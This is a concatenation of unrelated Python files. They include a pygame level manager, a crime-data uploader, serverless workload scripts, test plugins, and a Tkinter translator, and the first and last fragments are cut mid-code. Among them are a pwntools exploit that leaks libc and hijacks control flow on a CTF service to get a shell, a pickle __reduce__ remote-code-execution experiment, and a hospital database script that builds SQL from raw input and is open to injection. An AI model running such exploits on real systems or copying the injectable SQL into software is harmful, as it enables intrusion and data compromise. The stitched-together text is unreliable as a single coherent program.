        #paramètres pourle transfert de niveau
        self.nb_niv_courant=niveau
        self.nb_niv_max=nb_niv_max
    def reset_niveau(self):
        """
        Fonction qui recommence le niveau courant
        """
        self.niv_courant = Niveau(self.nb_niv_courant,self.difficulte,self.mode_affichage,self.mode_minimap,None,True,self.joueur)
    def reset_niveau_tuto(self):
        """
        Fonction qui recommence le niveau courant
        """
        self.niv_courant = Niveau("tuto"+str(self.tuto_courant),self.difficulte,self.mode_affichage,self.mode_minimap,None,True,self.joueur)
    def transfert_niveau(self,joueur):
        """
        Fonction qui transfert les informations d'un niveau a un autre
        Entrées:
            -le niveau
        """
        self.niv_courant = Niveau(self.nb_niv_courant,self.difficulte,self.mode_affichage,self.mode_minimap,None,True,joueur)
    def transfert_niveau_tuto(self,joueur):
        """
        Fonction qui transfert les informations d'un niveau a un autre
        Entrées:
            -le niveau
        """
        self.niv_courant = Niveau("tuto"+str(self.tuto_courant),self.difficulte,self.mode_affichage,self.mode_minimap,None,True,joueur)
    def run(self):
        """
        Fonction qui prend en charge la boucle principale de la session
        """
        pause = False
        while (self.nb_niv_courant == "demo" or self.nb_niv_courant<=self.nb_niv_max) and not pause:
            res,win,joueur = self.niv_courant.run()
            fichier = open(sauvegarde,'wb')
            f = pickle.Pickler(fichier)
            f.clear_memo()
            f.dump(self.niv_courant.sauve())
            pause = (res==-1)
            if res == 0:
                if self.niv_courant.greater_teleportation:
                    self.teleporte(joueur,self.niv_courant.destination)
                    pause = True
            if self.nb_niv_courant == "demo":
                pygame.time.wait(res)
                pause = True
            elif res != -1:
                pygame.time.wait(res)
                if win:
                    self.nb_niv_courant+=1
                    if self.nb_niv_courant>self.nb_niv_max:
                        self.nb_niv_courant=1
                    self.joueur = joueur
                    self.transfert_niveau(joueur)
                else:
                    self.reset_niveau()

    def runtuto(self):
        """
        Fonction qui parcours les niveaux du tutoriels
        """
        pause = False
        fintuto = False
        while not (pause or fintuto):
            res,win,joueur = self.niv_courant.run()
            pause = (res==-1)
            if res == 0:
                if self.niv_courant.greater_teleportation:
                    self.teleporte(joueur,self.niv_courant.destination)
                    pause = True
            if res != -1:
                pygame.time.wait(res)
                if win:
                    self.tuto_courant+=1
                    self.joueur = joueur
                    try:
                        self.transfert_niveau_tuto(joueur)
                    except:
                        self.nb_niv_courant=1
                        fintuto = True
                else:
                    self.reset_niveau_tuto()

    def teleporte(self,joueur,destination):
        """
        Fonction qui téléporte le joueur entre les niveaux
        """
        self.niv_courant = Niveau(destination,self.difficulte,self.mode_affichage,self.mode_minimap,destination,True,joueur)
        self.joueur = joueur
        if isinstance(destination,str) and destination[:4] == "tuto":
            self.tuto_courant = int(destination[4:])
            self.runtuto()
        else:
            self.run()


import pickle
import pickletools
import base64
import os
from pdb import set_trace
from pickle import PROTO, GLOBAL, NONE, MARK, UNICODE, NEWTRUE, DICT, TUPLE2, BUILD, EMPTY_TUPLE, REDUCE, NEWFALSE, POP, STOP

class User:
  def __init__(self):
    pass

code = PROTO + b'\x04' + \
  GLOBAL + b'__main__\nUser\n' + \
  NONE + \
  MARK + \
    UNICODE + b'admin\n' + \
    NEWTRUE + \
    DICT + \
  TUPLE2 + BUILD + \
  EMPTY_TUPLE + REDUCE + \
  MARK + \
    UNICODE + b'admin\n' + \
    NEWFALSE + \
    DICT + \
  BUILD + \
  GLOBAL + b'__main__\nUser\n' + \
  NONE + \
  MARK + \
    UNICODE + b'__setstate__\n' + \
    GLOBAL + b'__main__\nUser\n' + \
    DICT + \
  TUPLE2 + BUILD + \
  POP + \
  STOP

def add(a, b):
    return a + b

class RCE:
  def __reduce__(self):
    #return os.system, ('ls -la',) # or whatever command here
    return add, (1, 2,)

class Foo:
  def __init__(self):
    self.x = 1

  def __setstate__(self):
    self.x = 2

if __name__ == '__main__':
    set_trace()

    aa = pickle._loads(code)

    set_trace()
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))


import utils
from utils import *
from utils import _compressed
from extractor import *

def main():
    has_wordlist()
    try:
        position_first_flag(compressed_file())
    except IndexError:
        print("usage: python decompress.py [file] [-w wordlist]")
        exit()

    _content = shell_cmd_output_lines("ls")
    content = _content

    while True:
        if content != _content:
            position_new_flag(content, _content)

        compressed_type = type(_compressed)

        redefine_type_and_extract(compressed_type)
        content = shell_cmd_output_lines("ls")
        utils._it += 1

if __name__ == '__main__':
    main()


import nose
from nose.case import (
    FunctionTestCase,
    try_run
)
from nose.loader import TestLoader
from nose.plugins import Plugin
from nose.pyversion import ismethod
from nose.util import (
    isclass,
    isgenerator
)
from mock import patch, MagicMock

class NewFunctionTestCase(FunctionTestCase):
    """
    Rewrite part of class FunctionTestCase, to get same format of output
    test results for generators, like other tests of class.
    """

    def __init__(
            self, cls, test, test_name, setUp=None, tearDown=None, arg=tuple(),
            descriptor=None
    ):
        self.test_name = test_name
        self.cls = cls
        self.inst = self.cls()
        FunctionTestCase.__init__(self, test, setUp, tearDown, arg, descriptor)

    def setUp(self):
        """
        Run setup function attached to the test function.
        Added setup_mocks which must be run when call mock from inherited class.
        """
        # import pdb; pdb.set_trace()
        try_run(self.inst, ('setup_mocks', 'setup', 'setUp', 'setUpFunc'))

    def tearDown(self):
        """
        Added teardown_mocks which must be run to stop all mocks.
        """
        try_run(self.inst, ('teardown_mocks', 'tearDown', 'setUp', 'setUpFunc'))

    def __str__(self):
        """
        Added self.test_name to display in output also "check_" part of test
        in full path to actual processing test.
        """
        func, _ = self._descriptors()
        name = func.__name__
        name = "%s.%s.%s.%s" % (
            self.cls.__module__,
            self.cls.__name__,
            self.test_name,
            name
        )
        return name
    __repr__ = __str__

class CustomLoaderForGenerators(TestLoader):
    """
    Based on nose function: loadTestsFromGenerator from loader.py,
    which Lazy-load tests from a generator function.
    """

    def load_tests_from_generator_method_with_set_up(
            self, generator, cls, mock_patch
    ):
        """
        Create instance of TestCase to call setUp, which is need to
        prevent error: (No api proxy found for service "datastore_v3)".
        """
        test_class_instance = cls()
        test_class_instance.setUp()
        test_class_instance.setup_mocks()

        def generate():
            """
            Rewrite internal function 'generate' from
            loadTestsFromGeneratorMethod to send 'test_name' of "check_"
            and limit operations to have only those which are required.
            """
            if mock_patch is None:
                for test in generator(test_class_instance):

                    test_check, arguments = self.parseGeneratedTest(test)
                    yield NewFunctionTestCase(
                        test=test_check,
                        arg=arguments,
                        cls=cls,
                        test_name=generator.im_func.__name__
                    )
            else:
                # Temp to prevent pep8 errors
                decorator_patch = MagicMock()
                decorator_patch.return_value = ''

                with patch(mock_patch) as decorator_patch:
                    for test in generator(test_class_instance):

                        test_check, arguments = self.parseGeneratedTest(test)
                        yield NewFunctionTestCase(
                            test=test_check,
                            arg=arguments,
                            cls=cls,
                            test_name=generator.im_func.__name__
                        )
        # Back to built-in nose method
        return self.suiteClass(generate, context=generator, can_split=False)

class YieldWithSetUp(Plugin):
    """
    Main plugin yield class definition. Features: Run setUp on generators
    and display full path in output during test.
    """
    name = 'yield'

    def __init__(self):
        super(YieldWithSetUp, self).__init__()

    def makeTest(self, obj, cls):
        """
        Only this function from nose API give test (cls) and testCase (cls).
        """
        mock_patch = None

        # If not found generators, then back to nose
        if not callable(cls):
            return None
        else:
            found_generator_test = test_check(obj, cls)

            # If generator is found, override loader from nose
            if found_generator_test:

                # Get mock.patch from decorator
                if hasattr(obj, 'patchings'):
                    mock_patch = get_mock_patch_of_test(obj)
                # 'return' is required on x when we have generators.
                # This will allow in test function, change to next
                # check function (internal function)
                x = CustomLoaderForGenerators()
                return x.load_tests_from_generator_method_with_set_up(
                    obj, cls, mock_patch
                )
            else:
                return None

def test_check(obj, cls):
    test_class_instance = cls()
    test_class_instance.setUp()
    test_class_instance.setup_mocks()
    generator = obj
    generator_test = generator(test_class_instance)
    return generator_test

def get_mock_patch_of_test(obj):
    mock_patch = obj.patchings[0].getter().__name__
    mock_patch += '.' + obj.patchings[0].attribute
    return mock_patch

if __name__ == '__main__':
    nose.main()


import pandas as pd
import math
import time
import requests
import json

class InvalidResponseError(Exception):
    """Base class for exceptions in this module."""
    pass

session = requests.Session()

def upload_incidents(data):
    # initialized = getattr(SESSION_THREAD_LOCAL, 's', None)
    # if initialized is None:
    #     SESSION_THREAD_LOCAL.s = requests.Session()
    start = time.time()
    domain = "sf"
    staging_url = "https://statecraft-api-staging.herokuapp.com/api"
    production_url = "https://api.statecrafthq.com/api"
    local_url = "http://localhost:9000/api"
    local_docker_url = "http://docker.for.mac.localhost:9000/api"

    # if SERVER == "prod":
    #     url = production_url
    # elif SERVER == "staging":
    #     url = staging_url
    #     domain = "sfhousing"
    # elif SERVER == "docker":
    #     url = local_docker_url
    # else:
    url = production_url

    headers = {
        'x-statecraft-domain': domain,
        'Content-Type': 'application/json'
    }
    container = {
        "query":
        "mutation($data: [IncidentInput!]!) { updateIncidents(area: \"sf\", incidents: $data) }",
        "variables": {
            "data": data
        }
    }
    data = json.dumps(container)
    for i in range(3):
        response = session.post(url, data=data, headers=headers, stream=False)
        try:
            rdata = json.loads(response.text)
            if rdata['data']['updateIncidents'] != 'ok':
                raise InvalidResponseError("Wrong response!")
        except BaseException as e:
            print("Wrong Response!")
            print("Sent:")
            print(data)
            print("Got:")
            print(response.text)
            raise e

    #    print(r.text)
    end = time.time()
    return end - start

print("Loading Crime Dataset...")
start = time.time()
CRIMES = pd.read_csv(
    "downloads/SF_Crime.csv",
    sep=',',
    dtype={
        'PdId': str,
        'IncidntNum': str,
        'Date': str,
        'Time': str,
        # 'X': str,
        # 'Y': str
    })
end = time.time()
print(end - start)

category_map = {}
category_map['NON-CRIMINAL'] = 'NON_CRIMINAL'
category_map['ROBBERY'] = 'ROBBERY'
category_map['ASSAULT'] = 'ASSAULT'
category_map['SECONDARY CODES'] = 'SECONDARY_CODES'
category_map['VANDALISM'] = 'VANDALISM'
category_map['BURGLARY'] = 'BURGLARY'
category_map['LARCENY/THEFT'] = 'LARCENY'
category_map['DRUG/NARCOTIC'] = 'DRUG'
category_map['WARRANTS'] = 'WARRANTS'
category_map['VEHICLE THEFT'] = 'VEHICLE_THEFT'
category_map['ARSON'] = 'ARSON'
category_map['MISSING PERSON'] = 'MISSING_PERSON'

category_map['DRIVING UNDER THE INFLUENCE'] = 'DRIVING_UNDER_THE_INFLUENCE'
category_map['SUSPICIOUS OCC'] = 'SUSPICIOUS_OCC'
category_map['RECOVERED VEHICLE'] = 'RECOVERED_VEHICLE'
category_map['DRUNKENNESS'] = 'DRUNKENNESS'
category_map['TRESPASS'] = 'TRESPASS'

category_map['FRAUD'] = 'FRAUD'
category_map['DISORDERLY CONDUCT'] = 'DISORDERLY_CONDUCT'
category_map['SEX OFFENSES, FORCIBLE'] = 'SEX_OFFENSES_FORCIBLE'
category_map['FORGERY/COUNTERFEITING'] = 'COUNTERFEITING'
category_map['KIDNAPPING'] = 'KIDNAPPING'
category_map['EMBEZZLEMENT'] = 'EMBEZZLEMENT'
category_map['STOLEN PROPERTY'] = 'STOLEN_PROPERTY'
category_map['LIQUOR LAWS'] = 'LIQUOR_LAWS'
category_map['FAMILY OFFENSES'] = 'FAMILY_OFFENSES'
category_map['LOITERING'] = 'LOITERING'
category_map['BAD CHECKS'] = 'BAD_CHECKS'
category_map['TREA'] = 'TREA'
category_map['GAMBLING'] = 'GAMBLING'
category_map['RUNAWAY'] = 'RUNAWAY'
category_map['BRIBERY'] = 'BRIBERY'
category_map['PROSTITUTION'] = 'PROSTITUTION'
category_map['PORNOGRAPHY/OBSCENE MAT'] = 'PORNOGRAPHY'
category_map['SEX OFFENSES, NON FORCIBLE'] = 'SEX_OFFENSES_NON_FORCIBLE'
category_map['SUICIDE'] = 'SUICIDE'
category_map['EXTORTION'] = 'EXTORTION'
category_map['OTHER OFFENSES'] = 'OTHER_OFFENSES'
category_map['WEAPON LAWS'] = 'WEAPON_LAWS'

# 'NON-CRIMINAL' 'ROBBERY' 'ASSAULT' 'SECONDARY CODES' 'VANDALISM'
#  'BURGLARY' 'LARCENY/THEFT' 'DRUG/NARCOTIC' 'WARRANTS' 'VEHICLE THEFT'
#  'OTHER OFFENSES' 'WEAPON LAWS' 'ARSON' 'MISSING PERSON'
#  'DRIVING UNDER THE INFLUENCE' 'SUSPICIOUS OCC' 'RECOVERED VEHICLE'
#  'DRUNKENNESS' 'TRESPASS' 'FRAUD' 'DISORDERLY CONDUCT'
#  'SEX OFFENSES, FORCIBLE' 'FORGERY/COUNTERFEITING' 'KIDNAPPING'
#  'EMBEZZLEMENT' 'STOLEN PROPERTY' 'LIQUOR LAWS' 'FAMILY OFFENSES'
#  'LOITERING' 'BAD CHECKS' 'TREA' 'GAMBLING' 'RUNAWAY' 'BRIBERY'
#  'PROSTITUTION' 'PORNOGRAPHY/OBSCENE MAT' 'SEX OFFENSES, NON FORCIBLE'
#  'SUICIDE' 'EXTORTION'

data = []
for i in range(len(CRIMES)):
    d = CRIMES.iloc[i]
    data.append({
        'id': d['PdId'],
        'incidentNumber': d['IncidntNum'],
        'category': category_map[d['Category']],
        'location': {
            'latitude': d['Y'],
            'longitude': d['X']
        },
        'date': pd.to_datetime(d['Date'] + ' ' + d['Time']).strftime('%Y-%m-%d %H:%M:%S'),
        'description': d['Descript'],
        'resolution': d['Resolution'],
        'address': d['Address']
    })

    if len(data) > 200:
        start = time.time()
        upload_incidents(data)
        data = []
        end = time.time()
        print(end - start)

if len(data) > 200:
        upload_incidents(data)

# def converter(s):

#     if isinstance(s, str):
#         return s.split('|')[0].split(',')[0]
#     return 'None'

# PARCELS["districtna_converted"] = PARCELS["districtna"].apply(converter)
# PARCELS["zoning_sim_converted"] = PARCELS["zoning_sim"].apply(converter)

# print(PARCELS.groupby("districtna_converted").size())
# print(PARCELS["zoning_sim_converted"].unique())
# print(PARCELS.groupby("zoning_sim_converted").size())
# print(PARCELS[PARCELS["zoning_sim"] == "C-2|P"])


import os
from tabnanny import check
import yaml
import sys
import pandas as pd
import numpy as np

config = yaml.load(open(os.path.join(os.path.dirname(__file__),'config.yaml')), yaml.FullLoader)
SAMPLE_NUM = config['sample_number']

def refractorAppComputeInfo(computeInfoFile):
	infoFile = open(computeInfoFile, "r")
	computeInfo = infoFile.readlines()[1:]
	prevName = None
	appInfo = {}
	chainLen = 0

	for line in computeInfo:
		splitted = line.rstrip().split(",")
		appName = splitted[0]
		mem = splitted[2]
		execTime = splitted[3]

		if appName != prevName:
			chainLen = 0
			appInfo[appName] = []
			prevName = appName

		chainLen += 1
		appInfo[appName].append([mem, execTime])

	return appInfo

# exec time: ms scale
# specify execTime in update phase
def actionWskGen(chainList, th):

	for key, val in chainList.items():
		appName = key
		sequenceID = key[3:]
		functionID = 0
		funcChainStr = ""

		for info in val:
			mem = info[0]
			if th == None:
				execTime = info[1]
			else:
				execTime = th

			if int(mem) < 128:
				mem = "128"
			if int(mem) > 512:
				mem = "512"

			# cmd = "./action_update.sh %s %s %s %s" % (sequenceID, functionID, execTime, mem)
			cmd = "./action_update.sh %s %s %s %s" % (str(sequenceID).zfill(3), str(functionID).zfill(3), execTime, mem)
			print(cmd)
			r = os.popen(cmd)
			r.read()
			funcName = "func%s-%s" % (str(sequenceID).zfill(3), str(functionID).zfill(3))
			funcChainStr = funcChainStr + funcName + ","
			functionID += 1

		funcChainStr = funcChainStr[:-1]
		cmd = "wsk -i action update %s --sequence %s" % (appName, funcChainStr)
		print(cmd)
		r = os.popen(cmd)
		r.read()

	# func------- means the end of benchmark
	cmd = "./action_update.sh %s %s %s %s" % ("---", "---", 1, 128)
	r = os.popen(cmd)
	r.read()

	print("Workload creation complete")

def checkThOK(path, th):
	mapFile = pd.read_csv(path)
	newExecTime = mapFile["functionsPerApp"].multiply(th)

	return np.all(mapFile["IAT"].astype(int) > newExecTime)

if __name__ == '__main__':
	th = None
	argument = sys.argv
	del argument[0]

	if len(argument) == 1:
		# run successful workload
		if "_" in argument[0]:
			workloadDir = "../CSVs/success/%s" % argument[0]
		else:	# run new workload with same function runtime
			workloadDir = "../CSVs/%i" % SAMPLE_NUM
			th = int(argument[0])
	elif len(argument) == 2:	# run successful workload with same function runtime
		workloadDir = "../CSVs/success/%s" % argument[0]
		mapInfoFile = "%s/appandIATMap.csv" % workloadDir
		th = int(argument[1])
		isFine = checkThOK(mapInfoFile, th)
		if isFine == False:
			print("Threshold is not fit!")
			sys.exit(1)
	else:
		workloadDir = "../CSVs/%i" % SAMPLE_NUM

	computeInfoFile = "%s/appComputeInfo.csv" % workloadDir

	seqInfo = refractorAppComputeInfo(computeInfoFile)
	actionWskGen(seqInfo, th)


from db.run_sql import run_sql

from models.team import Team
from models.player import Player
from models.match import Match
import repositories.team_repository as team_repository

def save(player):
    sql = "INSERT INTO players (first_name, last_name, age, team_id, position, points) VALUES (%s, %s, %s, %s, %s, %s) RETURNING *"
    values = [player.first_name, player.last_name, player.age, player.team.id, player.position, player.points]
    results = run_sql(sql, values)
    id = results[0]['id']
    player.id = id
    return player

def select_all():
    players = []

    sql = "SELECT * FROM players"
    results = run_sql(sql)

    for result in results:
        team = team_repository.select(result['team_id'])
        player = Player(result['first_name'], result['last_name'], result['age'], team, result['position'], result['points'], result['id'])
        players.append(player)
    return players

def select(id):
    player = None
    sql = "SELECT * FROM players WHERE id = %s"
    values = [id]
    result = run_sql(sql, values)[0]

    if result is not None:
        team = team_repository.select(result['team_id'])
        player = Player(result['first_name'], result['last_name'], result['age'], team, result['position'], result['points'], result['id'])
    return player

def update(player):
    sql = "UPDATE players SET (first_name, last_name, age, team_id, position, points) = (%s, %s, %s, %s, %s, %s) WHERE id = %s"
    values = [player.first_name, player.last_name, player.age, player.team.id, player.position, player.points, player.id]
    run_sql(sql, values)
    return player

def delete(id):
    sql = "DELETE FROM players WHERE id = %s"
    values = [id]
    run_sql(sql, values)

def delete_all():
    sql = "DELETE FROM players"
    run_sql(sql)


# Imports
import os
from plt import PLT
from data_utils import Data

# Functions
def plt_multiclass(logger, **args):
    result_dir = '../results/'
    logger.info(f'Results directory: {result_dir}')
    if not os.path.exists(result_dir):
        os.makedirs(result_dir)
        logger.debug(f'Results directory does not exist. Creating the directory')
    log_fname = logger.handlers[0].baseFilename.split('/')[-1]
    result_fname = log_fname.replace('_log_', '_results_').replace('.log', '.results')
    logger.debug(f'Results filepath: {result_dir}{result_fname}')
    result_fh = open(f'{result_dir}{result_fname}', 'w')

    print('---PROGRESSIVE ELM - MULTI-CLASS---')
    print('---PROGRESSIVE ELM - MULTI-CLASS---', file=result_fh)

    filename = args['filename']
    header = args['header']
    label_location = args['label']
    scale_type = args['scale']
    test_ratio = args['testratio']

    print(f'Dataset file: {filename}', file=result_fh)
    logger.debug(f'Dataset File: {filename}, Scaling Type: {scale_type}, Test ratio: {test_ratio}')
    logger.debug(f'Header attribute in pandas read_csv: {header}, label location in csv: {label_location}')

    # Hyper-parameters
    hidden_dim = args['neurons']
    N0 = args['initial']
    batch_size = args['batch']

    logger.debug(f'Hidden layer neurons: {hidden_dim}, Number of samples in initial block: {N0}, '
                f'Batch size for training: {batch_size}')

    # Load and Pre-process Data
    logger.info('Loading and preprocessing data...')
    data = Data()
    data.set_logger(logger)
    print(f'Loading data from file: {filename}')
    data.load_csv(fname=filename, header=header)
    data.get_feats_labels(label_column=label_location)
    data.scale_features(scale_type=scale_type)
    data.split_train_test(test_ratio=test_ratio)
    logger.info('Loading and preprocessing data done')

    # PLT-ELM Model
    logger.info('Creating PLT ELM model')
    try:
        plt= PLT(data.num_feats, hidden_dim)
    except:
        logger.error('---> !!! Error in creating PLT class object !!!')
        raise ValueError

    plt.set_logger(logger)

    data.set_initial_batch_size(N0)
    data.set_training_batch_size(batch_size)

    print('Begin Training...')
    logger.info('Begin Training...')
    for batch_id, X, y in data.fetch_train_data():
        if batch_id == 0:
            plt.initial_batch(X, y)
            continue
        plt.train(X, y)

    print('Training Complete')
    logger.info('Training Complete')

    print('Begin Testing...')
    logger.info('Begin Testing...')
    report, accuracy = plt.test(data.test_data['X'], data.test_data['y'])
    print('Testing Complete')
    logger.info('Testing Complete')

    print(f'Classification Report: \n{report}\nAccuracy: {accuracy}')
    print(f'Classification Report: \n{report}\nAccuracy: {accuracy}', file=result_fh)
    logger.info(f'\nClassification Report: \n{report}')
    logger.info(f'\nAccuracy: {accuracy}')
    pass

# Main
if __name__ == '__main__':
    pass


#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x'

from pwn import *
from time import sleep
import sys
context.log_level='debug'
context.terminal = ["xfce4-terminal", "-x", "sh", "-c"]

if sys.argv[1] == "l":
    io = process("./stack", env = {"LD_PRELOAD": "./libc-2.23.so.i386"})
    elf = ELF("./stack")
    libc = ELF("./libc-2.23.so.i386")
    one_gadget_offset = 0x3a9fc

else:
    io = remote("hackme.inndy.tw", 7716)
    elf = ELF("./stack")
    libc = ELF("./libc-2.23.so.i386")
    one_gadget_offset = 0x3ac3c

def debug():
    raw_input("DEBUG: ")
    gdb.attach(io)

def getBase():
    #  debug()
    for i in xrange(15):
        io.sendlineafter("Cmd >>", "p")
        io.recvuntil("-> ")

    libc_base = (int(io.recvuntil("\n", drop = True)) & 0xffffffff) - libc.symbols["_IO_2_1_stdout_"]
    info("libc_base -> 0x%x" % libc_base)
    one_gadget = libc_base + one_gadget_offset

    return one_gadget
    #  return libc_base

def hijack(libc_base):
    sys_addr = libc_base + libc.symbols["system"]
    info("sys_addr -> 0x%x" % sys_addr)
    sh_addr = libc_base + next(libc.search("/bin/sh"))
    info("sh_addr -> 0x%x" % sh_addr)

    io.sendlineafter("Cmd >>", "c")

    for i in xrange(8):
        io.sendlineafter("Cmd >>", "p")
        io.recvuntil("-> ")

    io.sendlineafter("Cmd >>", "i %s" %(one_gadget - 0xffffffff + 1))

    #Interger Overflow
    #write /bin/sh
    #  for i in xrange(6):
        #  io.sendlineafter("Cmd >>", "p")
        #  io.recvuntil("-> ")

    #  io.sendlineafter("Cmd >>", "f")
    #  io.sendlineafter("Cmd >>", "i %s" % sh_addr)

    #  #write system
    #  for i in xrange(3):
        #  io.sendlineafter("Cmd >>", "p")
        #  io.recvuntil("-> ")

    #  #  debug()
    #  io.sendlineafter("Cmd >>", "f")
    #  io.sendlineafter("Cmd >>", "i %s" % sys_addr)

if __name__ == "__main__":
    one_gadget = getBase()
    #  libc_base = getBase()
    hijack(one_gadget)
    io.interactive()
    io.close()


#
#  @brief the driver for a game which accepts two twitter usernames, compiles their most recent tweets, and prompts
#  the player to guess which of the two twitter users made that tweet. Created for the Change++ coding challenge.
#  @author Karl Schreiner karl.f.schreiner@vanderbilt.edu
#  last changed 9/25/2020

from TwitterGame import TwitterGame

# checkUsername
# @brief Twitter usernames can only be alphanumerics and underlines. This will prevent the program failing from a simple
# typo. However, the rpogram will fail if a valid twitter username is entered which does not represent a valid twitter
# account or represetns a valid twitter account with nno valid tweets
def CheckUsername(name):
    tempName = name
    formattedName = tempName.replace("_", "")
    while not formattedName.isalnum():
        print("please enter a valid twitter username")
        tempName = input()
        formattedName = tempName.replace("_", "")
    return tempName

print("Enter first twitter username or enter default")
name1 = input()
name1 = CheckUsername(name1)
if name1 != "default":
    print("Enter second twitter username")
    name2 = input()
    name2 = CheckUsername(name2)
    print("enter an integer for the number of tweets that should be processed (1-3200 but 150 is recommended).")
    count = int(input())
if name1 == "default":
    T = TwitterGame()
else:
    T = TwitterGame(name1, name2, count)

again = True
while again:  # continues the game until the user quits
    T.OneRound()
    print("would you like to play again? (y/n)")
    playAgain = input()
    while playAgain.lower() != "n" and playAgain.lower() != "no" \
            and playAgain.lower() != "y" and playAgain.lower() != "yes":
        print("would you like to play again? Please enter a valid response (y/n)")
        playAgain = input()
    if playAgain.lower() == "n" or playAgain.lower() == "no":
        again = False
T.PrintResults()


import sys

def plural(s):
    vowel = ["i", "o", "u", "e", "a"]
    pog = s[len(s) - 2: len(s)]
    po = s[- 1]
    if pog == "ch" or pog == "sh":
        s = s + "es"
    elif po == "x" or po == "s" or po == "z":
        s = s + "es"
    elif s[-2] not in vowel and s[-1] == "y":
        s = s[:- 1] + "ies"
        pass
    elif po == "f":
        s = s[:- 1] + "ves"
    elif pog == "fe":
        s = s[:len(s) - 2] + "ves"
    elif s[-1] == "o":
        s = s + "es"
    else:
        s = s + "s"
    return s

def main():
    for line in sys.stdin:
        print(plural(line.strip()))

if __name__ == '__main__':
    main()


import sqlite3
connection=sqlite3.connect("hospital.db")
getDPhno=input("Enter Doctor's Phone number: ")

getDName=input("Enter Doctor's Name: ")
getDQual=input("Enter Doctor's Qualification: ")
getDAdd=input("Enter Doctor's Address: ")
getDEmail=input("Enter Doctor's Email ID: ")
connection.execute("UPDATE DOCTOR\
                   SET DOCTOR_NAME='"+getDName+"',DOCTOR_QUALIFICATION='"+getDQual+"',DOCTOR_ADDRESS='"+getDAdd+"',DOCTOR_EMAILID='"+getDEmail+"'\
                    WHERE DOCTOR_PHNO="+getDPhno)
connection.commit()
print(f'Updated Doctor {getDName} details successfully')
res = connection.execute(" SELECT * FROM DOCTOR ")
for i in res:
    print("Id",i[0])
    print("Doctors Name: ", i[1])
    print("Doctors Qualification: ", i[2])
    print("Doctors Address: ", i[3])
    print(" Doctors Phone number: ", i[4])
    print("Doctors Email ID: ", i[5])
    print("*********$$$$$$***********")


import json
import tkinter as tk
from tkinter import ttk

import api
import core

CONFIG = 'config.json'
AUTOSAVE = 'autosave.txt'

TF2_WIKI_API = 'https://wiki.teamfortress.com/w/api.php'
WIKIPEDIA_API = 'https://en.wikipedia.org/w/api.php'

def open_config():
    try:
        file = open(CONFIG, 'r')
        file.close()
    except FileNotFoundError:
        recreate_config()
    finally:
        with open(CONFIG, 'r') as file:
            return json.load(file)

def recreate_config():
    with open(CONFIG, 'w') as file:
        json.dump(core.STANDARD_CONFIG, file, indent=4)

def save_config(key, value):
    config = open_config()
    config[key] = value

    with open(CONFIG, 'w') as file:
        json.dump(config, file, indent=4)

class ControlPanel(ttk.Frame):
    def __init__(self, parent, translate_callback, **kwargs):
        ttk.Frame.__init__(self, parent, **kwargs)

        self.translate_callback = translate_callback
        language = open_config()['language']
        api_access = open_config()['api_access']

        self.language_label = ttk.Label(self, text='Language: ')
        self.language = ttk.Combobox(
            self,
            width=7,
            state='readonly',
            values=list(core.LANGUAGES.keys())
        )
        self.language.set(language)
        self.language.bind(
            '<<ComboboxSelected>>',
            lambda _: self.updated('language', self.language.get())
        )

        self.var_api = tk.IntVar()
        self.api = ttk.Checkbutton(
            self, text='Use TF Wiki connection to improve translations',
            variable=self.var_api,
            command=lambda: self.updated('api_access', self.var_api.get())
        )
        self.var_api.set(api_access)

        self.language_label.grid(column=0, row=0, sticky='nwes')
        self.language.grid(column=1, row=0, sticky='nwes', padx=(0, 15))
        self.api.grid(column=2, row=0, sticky='nwes')

    def updated(self, key, value):
        save_config(key, value)
        self.translate_callback()

class GUI(tk.Tk):
    def __init__(self):
        self.context = core.Context(
            tf2_api=api.API(TF2_WIKI_API),
            wikipedia_api=api.API(WIKIPEDIA_API)
        )
        self.last_input = ''

        super().__init__()

        self.title('wikitranslator')
        self.protocol('WM_DELETE_WINDOW', self.exit)

        self.frame = ttk.Frame(self, padding='3 3 3 3', style='Wat.TFrame')

        self.text_input = tk.Text(
            self.frame,
            width=90, height=40,
            wrap='char',
            undo=True, maxundo=100
        )
        self.scrollbar_input = ttk.Scrollbar(
            self.frame, orient='vertical', command=self.text_input.yview
        )

        self.text_output = tk.Text(
            self.frame,
            width=90, height=40,
            wrap='char',
            state=tk.DISABLED
        )
        self.scrollbar_output = ttk.Scrollbar(
            self.frame, orient='vertical', command=self.text_output.yview
        )

        self.control_panel = ControlPanel(
            self.frame, self.translate, padding='3 3 3 3'
        )

        self.frame.grid(column=0, row=0, sticky='nwes')

        self.control_panel.grid(column=0, row=0, sticky='nwes')
        self.text_input.grid(column=0, row=1, sticky='nwes')
        self.scrollbar_input.grid(column=1, row=1, sticky='nwes')
        self.text_output.grid(column=2, row=1, sticky='nwes')
        self.scrollbar_output.grid(column=3, row=1, sticky='nwes')

        self.text_input['yscrollcommand'] = self.scrollbar_input.set
        self.text_output['yscrollcommand'] = self.scrollbar_output.set

        self.columnconfigure(0, weight=1)
        self.rowconfigure(0, weight=1)
        self.frame.rowconfigure(1, weight=1, minsize=150)
        self.frame.columnconfigure(0, weight=2, minsize=400)
        self.frame.columnconfigure(2, weight=2, minsize=400)

        self.bind('<Control-Z>', self.text_input.edit_undo)
        self.bind('<Control-Shift-Z>', self.text_input.edit_redo)

        self.after(1000, self.input_tick)

    def exit(self):
        if self.text_output.get('1.0', 'end') != '':
            self.save_file()
        self.destroy()
        self.quit()

    def input_tick(self):
        current_input = self.text_input.get('1.0', 'end').strip()
        if current_input != self.last_input:
            self.last_input = current_input
            self.translate()
        self.after(1000, self.input_tick)

    def save_file(self):
        with open(AUTOSAVE, 'ab') as file:
            file.write(bytes(self.text_output.get('1.0', 'end'), 'utf-8'))

    def translate(self):
        translated = self.context.translate(
            self.control_panel.language.get(),
            self.control_panel.var_api.get(),
            self.last_input
        )

        self.text_output.configure(state=tk.NORMAL)
        self.text_output.delete('1.0', 'end')
        self.text_output.insert('1.0', '\n\n'.join(translated))
        self.text_output.configure(state=tk.DISABLED)

if __name__ == '__main__':
    root = GUI()
    root.mainloop()


import functools
import logging

from lightsc import requests

from .. import grids
from ..types import Dimensions, Position

from . import actions
from .elements import (
    Button,
    PowerButton,
    UILayer,
    groups,
)

logger = logging.getLogger("library.python.monolight.ui")

class _ToggleUI(actions.Action):

    def __init__(self, grid: grids.MonomeGrid) -> None:
        actions.Action.__init__(self)
        self._grid = grid

    async def _run(self) -> None:
        self._grid.show_ui = not self._grid.show_ui

def root(grid: grids.MonomeGrid) -> UILayer:
    foreground_layer = UILayer("root", grid.size)

